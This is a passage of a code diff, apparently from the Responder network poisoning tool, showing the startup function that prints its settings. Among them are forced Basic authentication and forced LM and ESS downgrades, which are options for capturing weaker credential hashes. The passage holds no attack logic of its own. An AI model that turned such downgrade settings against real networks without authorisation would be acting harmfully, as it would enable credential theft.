print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled))
print('')
@@ -405,14 +531,18 @@ def StartupMessage():
print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled))
print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled))
print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled))
print('')
print(color("[+] ", 2, 1) + "Generic Options:")
print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1))
print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1))
print(' %-27s' % "Responder IPv6" + color('[%s]' % settings.Config.Bind_To6, 5, 1))
if settings.Config.ExternalIP:
print(' %-27s' % "Responder external IP" + color('[%s]' % settings.Config.ExternalIP, 5, 1))
if settings.Config.ExternalIP6:
print(' %-27s' % "Responder external IPv6" + color('[%s]' % settings.Config.ExternalIP6, 5, 1))
print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1))
if settings.Config.Upstream_Proxy:
print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1))